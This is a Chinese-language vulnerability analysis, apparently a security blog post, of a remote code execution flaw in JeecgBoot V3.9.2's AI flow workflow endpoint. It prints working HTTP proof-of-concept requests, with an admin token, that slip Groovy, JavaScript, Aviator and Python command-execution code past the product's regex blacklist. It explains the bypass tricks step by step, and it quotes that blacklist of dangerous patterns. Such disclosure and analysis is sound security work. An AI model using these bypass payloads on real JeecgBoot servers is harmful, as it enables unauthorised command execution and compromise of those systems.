jeecg-boot V3.9.2 airag:flow:add后台RCE分析#

https://github.com/jeecgboot/JeecgBoot/issues/9691

该漏洞源于AI Flow 模块支持 Groovy 脚本执行,而后端的黑名单过滤可被特殊payload绕过,造成任意代码执行

POC#

增加一个可以执行groovy代码的恶意工作流

POST /jeecg-boot/airag/flow/add HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMjk1MDUyfQ.yfk9sZDZycWg7DsbdLF3gt_hbI1YqbqtrT5mVMNM5Po
Content-Length: 518

{"name": "poc_runtime_exec", "chain": "THEN(code_node_1)", "design": "{\"nodes\": [{\"id\": \"code_node_1\", \"type\": \"code\", \"properties\": {\"text\": \"poc\", \"nodeId\": \"code_node_1\", \"options\": {\"codeType\": \"groovy\", \"code\": \"rt = java.lang.\\\"Runtime\\\".getRuntime(); cmd = [\\\"cmd.exe\\\",\\\"/c\\\",\\\"calc\\\"] as String[]; m = rt.getClass().getMethod(\\\"ex\\\"+\\\"ec\\\", cmd.getClass()); m.invoke(rt, [cmd] as Object[])\"}, \"inputParams\": [], \"outputParams\": []}}], \"edges\": []}"}

执行该工作流

POST /jeecg-boot/airag/flow/run HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 80

{"flowId": "2066402414281363458", "inputParams": {}, "responseMode": "blocking"}

代码分析#

增加工作流#

controller代码位于org.jeecg.modules.airag.flow.c.a,锁定关键函数this.airagFlowService.addFlow(airagFlow);,跟进方法a

public Result<String> addFlow(AiragFlow airagFlow) {
        AssertUtils.assertNotEmpty("流程规则不能为空", airagFlow.getChain());
        AssertUtils.assertNotEmpty("设计数据不能为空", airagFlow.getDesign());
        a(airagFlow);
        super.save(airagFlow);
        return Result.OK("添加成功!", airagFlow.getId());
    }

前面获取参数值和解析json,然后又出现了一个方法a,跟进

    private static void a(AiragFlow airagFlow) {
        String design = airagFlow.getDesign();
        JSONObject designJson = JSONObject.parseObject(design);
        JSONArray nodes = designJson.getJSONArray("nodes");
        a(designJson);
        a(nodes);
        String metadataStr = airagFlow.getMetadata();
        JSONObject metadata;
        if (oConvertUtils.isNotEmpty(metadataStr)) {
            metadata = JSONObject.parseObject(metadataStr);
        } else {
            metadata = new JSONObject();
        }

        FlowCronTrigger triggerCron = new FlowCronTrigger();
        a(nodes, metadata, triggerCron);
        airagFlow.setMetadata(metadata.toJSONString());
        if (triggerCron.isEnabled()) {
            airagFlow.setTriggerCron(JSON.toJSONString(triggerCron));
        } else {
            airagFlow.setTriggerCron("");
        }

    }

首先if分支检测designJson值是否为空,若不为空,获取json中名为nodes的数组,接着进入下一个if分支,开始循环数组,逻辑大概就是获取nodes json数组中code和codeType的值,中间有一系列的if检查,检查Type参数,options参数。最后进入到b.a方法,跟进

private static void a(JSONObject designJson) {
        if (designJson != null) {
            try {
                JSONArray nodes = designJson.getJSONArray("nodes");
                if (nodes != null && !nodes.isEmpty()) {
                    Iterator var2 = nodes.iterator();

                    while(var2.hasNext()) {
                        Object node = var2.next();
                        FlowNode flowNodeObj = (FlowNode)((JSONObject)node).toJavaObject(FlowNode.class);
                        if (!oConvertUtils.isEmpty(flowNodeObj) && "code".equals(flowNodeObj.getType())) {
                            FlowNodeConfig flowNodeConfig = flowNodeObj.getProperties();
                            if (!oConvertUtils.isEmpty(flowNodeConfig) && !oConvertUtils.isEmpty(flowNodeConfig.getOptions())) {
                                Map options = flowNodeConfig.getOptions();
                                if (options.containsKey("code")) {
                                    String codeType = (String)options.get("codeType");
                                    String script = (String)options.get("code");
                                    if (oConvertUtils.isNotEmpty(script)) {
                                        b.a(script, codeType);
                                        a.debug("节点 [{}] 脚本安全检查通过", flowNodeObj.getId());
                                    }
                                }
                            }
                        }
                    }

                }
            } catch (Exception var9) {
                a.error("流程设计脚本安全检查失败: {}", var9.getMessage(), var9);
                throw new JeecgBootBizTipException("流程设计安全检查失败: " + var9.getMessage());
            }
        }
    }

同样检查script是否为空,然后将列表b赋值给patterns,检查codeType是否为javascript,而poc中的codeType值为groovy,接下来开始循环匹配正则黑名单。

private static final List<String> b = Arrays.asList("ProcessBuilder", "Runtime\\.getRuntime\\(\\)", "exec\\s*\\(", "Class\\.forName", "getDeclaredConstructor", "getDeclaredMethod", "setAccessible", "ClassLoader", "URLClassLoader", "defineClass", "ScriptEngineManager", "ScriptEngine", "System\\.exit", "Runtime\\.exec", "FileWriter\\s*\\(", "FileOutputStream\\s*\\(", "RandomAccessFile\\s*\\(", "PrintWriter\\s*\\(", "Socket\\s*\\(", "ServerSocket\\s*\\(", "DatagramSocket\\s*\\(", "InitialContext", "lookup\\s*\\(", "javax\\.naming", "ObjectInputStream", "readObject\\s*\\(", "ApplicationContext", "BeanFactory", "getBean\\s*\\(", "\\.execute\\s*\\(", "\".*\"\\.execute\\(\\)", "'.*'\\.execute\\(\\)", "Eval\\.me", "Eval\\.x", "Eval\\.xy", "Eval\\.xyz", "GroovyShell", "GroovyClassLoader");

private static final List<String> c = Arrays.asList("eval\\s*\\(", "Function\\s*\\(", "require\\s*\\(", "import\\s*\\(", "child_process", "fs\\.readFile", "fs\\.writeFile", "process\\.exit");


public static void a(String script, String codeType) {
        if (!StrUtil.isBlank(script)) {
            List patterns = b;
            if ("javascript".equalsIgnoreCase(codeType)) {
                patterns = new ArrayList(b);
                ((List)patterns).addAll(c);
            }

            Iterator var3 = ((List)patterns).iterator();

            String pattern;
            Pattern p;
            do {
                if (!var3.hasNext()) {
                    a.debug("脚本安全检查通过: {}", codeType);
                    return;
                }

                pattern = (String)var3.next();
                p = Pattern.compile(pattern, 2);
            } while(!p.matcher(script).find());

            String errorMsg = String.format("脚本安全检查失败:检测到危险操作 [%s]。为了系统安全,禁止使用该功能。", pattern);
            a.warn("脚本安全检查失败,检测到危险模式: {} in script: {}", pattern, script);
            throw new a("", "", errorMsg);
        }
    }

分析poc为什么能绕过该黑名单

rt = java.lang."Runtime".getRuntime(); cmd = ["cmd.exe","/c","calc"] as String[]; m = rt.getClass().getMethod("ex"+"ec", cmd.getClass()); m.invoke(rt, [cmd] as Object[])
  1. 首先用rt = java.lang."Runtime".getRuntime();获取getRuntime对象,黑名单期望匹配到连续的 Runtime.getRuntime() 字符串。但是Groovy 允许在包名和类名之间使用字符串字面量(加双引号)来进行动态引用。Payload 中插入的双引号 " 直接破坏了正则表达式的连续匹配,导致正则查找失败,但 Groovy 引擎依然能正确解析出 java.lang.Runtime 类。
  2. cmd = ["cmd.exe","/c","calc"] as String[];为命令执行数组
  3. m = rt.getClass().getMethod("ex"+"ec", cmd.getClass());利用getMethod方法获取到exec方法,黑名单中并没有getMethod,而是getDeclaredMethodgetDeclaredMethod方法用于反射获取有private或protect修饰符的方法,而exec为public,完全不需要使用被禁用的 getDeclaredMethod,参数中的"ex"+“ec"其实都没有必要,黑名单中的正则为exec\\s*\\(,即exec后匹配 0 个或多个空白字符,然后再匹配一个左括号,而exec字符串并没有括号,因此直接写exec都行
  4. m.invoke(rt, [cmd] as Object[]),调用exec方法,实现命令执行

回到代码,通过黑名单安全检查后,回到org.jeecg.modules.airag.flow.service.a.c#a,由于poc中没有metadataStr参数和codeType值不匹配if分支,后面的a(nodes)方法及以后的代码就直接略过

    private static void a(AiragFlow airagFlow) {
        String design = airagFlow.getDesign();
        JSONObject designJson = JSONObject.parseObject(design);
        JSONArray nodes = designJson.getJSONArray("nodes");
        a(designJson);
        a(nodes);
        String metadataStr = airagFlow.getMetadata();
        JSONObject metadata;
        if (oConvertUtils.isNotEmpty(metadataStr)) {
            metadata = JSONObject.parseObject(metadataStr);
        } else {
            metadata = new JSONObject();
        }

        FlowCronTrigger triggerCron = new FlowCronTrigger();
        a(nodes, metadata, triggerCron);
        airagFlow.setMetadata(metadata.toJSONString());
        if (triggerCron.isEnabled()) {
            airagFlow.setTriggerCron(JSON.toJSONString(triggerCron));
        } else {
            airagFlow.setTriggerCron("");
        }

    }

最后回到addFlow方法,save方法保存我们的恶意工作流

执行工作流#

根据flowId查询获取工作流,然后初始化并构建流程执行上下文

public Object runFlow(FlowRunParams flowRunParams) {
        AiragFlow flow = this.airagFlowMapper.getFlowByIdIgnoreTenant(flowRunParams.getFlowId());
        JeecgFlowContext context = this.a(flow, flowRunParams);
        return this.a(flowRunParams, context);
    }

跟进this.a(flow, flowRunParams);方法,部分代码如下,a();可以不用管,用来构建上下文的,后面依旧是获取design值,解析json,遍历nodes,其中有一个关键函数CodeNode.a(flowNodeObj);,跟进

private JeecgFlowContext a(AiragFlow flow, FlowRunParams flowRunParams) {
        a();
        AssertUtils.assertNotEmpty("流程不存在", flow);
        AssertUtils.assertNotEmpty("请先设计流程", flow.getChain());
        String design = flow.getDesign();
        HashMap flowNode;
        if (StringUtils.isNotEmpty(design)) {
            JSONObject designJson = JSONObject.parseObject(design);
            JSONArray nodes = designJson.getJSONArray("nodes");
            flowNode = new HashMap();
            nodes.forEach((node) -> {
                FlowNode flowNodeObj = (FlowNode)((JSONObject)node).toJavaObject(FlowNode.class);
                if (!oConvertUtils.isEmpty(flowNodeObj)) {
                    CodeNode.a(flowNodeObj);
                    flowNode.put(flowNodeObj.getId(), flowNodeObj);
                }
            });
        } else {
            flowNode = null;
        }

该方法是根据脚本类型来执行对应逻辑,而脚本类型只能在这个CodeNodeTypeEnum枚举类中选择

public static void a(FlowNode flowNodeObj) {
        FlowNodeConfig flowNodeConfig = flowNodeObj.getProperties();
        if ("code".equals(flowNodeObj.getType()) && !oConvertUtils.isEmpty(flowNodeConfig)) {
            Map options = flowNodeConfig.getOptions();
            if (!oConvertUtils.isEmpty(options) && options.containsKey("code")) {
                String nodeId = flowNodeObj.getId();
                if (!FlowBus.containNode(nodeId)) {
                    String codeType = (String)options.get("codeType");
                    AssertUtils.assertNotEmpty("请选择代码类型", codeType);
                    CodeNodeTypeEnum codeTypeEnum = CodeNodeTypeEnum.valueOf(codeType.toUpperCase());
                    if (codeTypeEnum == CodeNodeTypeEnum.JAVASCRIPT) {
                        ...
                    }

                    if (codeTypeEnum == CodeNodeTypeEnum.KOTLIN) {
                        ...
                    }

                    String script = (String)options.get("code");
                    AssertUtils.assertNotEmpty("请输入代码", script);
                    b.a(script, codeType);
                    a.info("脚本安全检查通过,节点ID: {}", nodeId);
                    Map templateData = new HashMap();
                    templateData.put("inputParams", flowNodeConfig.getInputParams());
                    templateData.put("outputParams", flowNodeConfig.getOutputParams());
                    templateData.put("flowNodeObjId", nodeId);
                    templateData.put("scriptContent", script);
                    script = org.jeecg.modules.airag.common.utils.a.a(codeTypeEnum.getTplPath(), templateData);
                    a.info("类型:{},脚本:{}", codeTypeEnum.getScriptType(), script);
                    if (!org.jeecg.modules.airag.flow.component.code.a.a(script, ScriptTypeEnum.getEnumByDisplayName(codeTypeEnum.getScriptType()))) {
                        a.error("脚本校验失败,请检查脚本语法");
                        throw new a(flowNodeConfig.getNodeId(), flowNodeConfig.getText(), "节点[" + flowNodeConfig.getText() + "]:脚本校验失败,请检查脚本语法");
                    }

                    LiteFlowNodeBuilder.createScriptNode().setId(nodeId).setScript(script).setLanguage(codeTypeEnum.getScriptType()).build();
                }

            }
        }
    }

来到CodeNodeTypeEnum这个枚举类,发现一共有5种可选择的脚本类型,根据上面代码中的if分支可知,js和kotlin需要手动引入依赖,而python,groovy,aviator不需要,poc选择了groovy

public enum CodeNodeTypeEnum {
    JAVASCRIPT("javascript", "js", "org/jeecg/modules/airag/flow/component/code/code_node_javascript.ftl"),
    PYTHON("python", "python", "org/jeecg/modules/airag/flow/component/code/code_node_python.ftl"),
    GROOVY("groovy", "groovy", "org/jeecg/modules/airag/flow/component/code/code_node_groovy.ftl"),
    KOTLIN("kotlin", "kotlin", "org/jeecg/modules/airag/flow/component/code/code_node_kotlin.ftl"),
    AVIATOR("aviator", "aviator", "org/jeecg/modules/airag/flow/component/code/code_node_aviator.ftl");

回到runFlow方法,跟进this.a(flowRunParams, context),poc中responseMode参数值为blocking,所以调用this.b方法

private Object a(FlowRunParams flowRunParams, JeecgFlowContext context) {
        return "blocking".equalsIgnoreCase(flowRunParams.getResponseMode()) ? this.b(flowRunParams, context) : this.c(flowRunParams, context);
    }

this.flowExecutor.execute2Resp方法经过一系列逻辑会调用到groovy的this.engine.eval方法,中间的逻辑较为复杂,贴出调用栈吧,有兴趣的师傅自行分析

private Result<?> b(FlowRunParams flowRunParams, JeecgFlowContext context) {
        LiteflowResponse flowResponse = this.flowExecutor.execute2Resp(flowRunParams.getFlowId(), (Object)null, new Object[]{context});
        if (flowResponse.isSuccess()) {
            JeecgFlowContext resultContext = (JeecgFlowContext)flowResponse.getContextBean(JeecgFlowContext.class);
            return Result.OK(resultContext.getResult());
        } else {
            if (null != flowResponse.getCause()) {
                a.error(flowResponse.getCause().getMessage(), flowResponse.getCause());
            }

            return Result.error(flowResponse.getMessage());
        }
    }

调用栈

eval:71, GroovyCompiledScript (org.codehaus.groovy.jsr223)
eval:93, CompiledScript (javax.script)
executeScript:84, JSR223ScriptExecutor (com.yomahub.liteflow.script.jsr223)
execute:48, ScriptExecutor (com.yomahub.liteflow.script)
process:25, ScriptCommonComponent (com.yomahub.liteflow.core)
execute:116, NodeComponent (com.yomahub.liteflow.core)
execute:34, NodeExecutor (com.yomahub.liteflow.flow.executor)
execute:15, DefaultNodeExecutor (com.yomahub.liteflow.flow.executor)
execute:206, Node (com.yomahub.liteflow.flow.element)
executeCondition:44, ThenCondition (com.yomahub.liteflow.flow.element.condition)
execute:58, Condition (com.yomahub.liteflow.flow.element)
execute:147, Chain (com.yomahub.liteflow.flow.element)
doExecute:512, FlowExecutor (com.yomahub.liteflow.core)
execute2Resp:446, FlowExecutor (com.yomahub.liteflow.core)
execute2Resp:372, FlowExecutor (com.yomahub.liteflow.core)
b:503, c (org.jeecg.modules.airag.flow.service.a)
a:489, c (org.jeecg.modules.airag.flow.service.a)
runFlow:233, c (org.jeecg.modules.airag.flow.service.a)

后续思考#

javascript#

前面提到也可以解析javascript,因此有个猜想,能否执行js代码,而且js引擎的灵活性比groovy更高,于是有了下面的poc

POST /jeecg-boot/airag/flow/add HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMjk1MDUyfQ.yfk9sZDZycWg7DsbdLF3gt_hbI1YqbqtrT5mVMNM5Po
Content-Length: 427

{"name": "poc_runtime_exec", "chain": "THEN(code_node_1)", "design": "{\"nodes\": [{\"id\": \"code_node_1\", \"type\": \"code\", \"properties\": {\"text\": \"poc\", \"nodeId\": \"code_node_1\", \"options\": {\"codeType\": \"javascript\", \"code\": \"var r = Java.type(\\\"java.lang.Runtime\\\")['getRuntime']();r['exec']([\\\"cmd\\\",\\\"/c\\\",\\\"calc\\\"]);\"}, \"inputParams\": [], \"outputParams\": []}}], \"edges\": []}"}

但是默认并没有graaljs依赖,需要手动引入

image-20260615162720792

把这两个依赖的<scope>provided</scope>删除,重新加载maven即可

image-20260615162834346

成功执行

image-20260615162903822

aviator#

POST /jeecg-boot/airag/flow/add HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMjk1MDUyfQ.yfk9sZDZycWg7DsbdLF3gt_hbI1YqbqtrT5mVMNM5Po
Content-Length: 413

{"name": "poc_runtime_exec", "chain": "THEN(code_node_1)", "design": "{\"nodes\": [{\"id\": \"code_node_1\", \"type\": \"code\", \"properties\": {\"text\": \"poc\", \"nodeId\": \"code_node_1\", \"options\": {\"codeType\": \"aviator\", \"code\": \"use cn.hutool.core.util.*;RuntimeUtil.execForStr(seq.array(java.lang.String, 'cmd', '/c', 'calc'));\"}, \"inputParams\": [], \"outputParams\": []}}], \"edges\": []}"}

Python#

POST /jeecg-boot/airag/flow/add HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMjk1MDUyfQ.yfk9sZDZycWg7DsbdLF3gt_hbI1YqbqtrT5mVMNM5Po
Content-Length: 340

{"name": "poc_runtime_exec", "chain": "THEN(code_node_1)", "design": "{\"nodes\": [{\"id\": \"code_node_1\", \"type\": \"code\", \"properties\": {\"text\": \"poc\", \"nodeId\": \"code_node_1\", \"options\": {\"codeType\": \"python\", \"code\": \"import os;os.system('calc')\"}, \"inputParams\": [], \"outputParams\": []}}], \"edges\": []}"}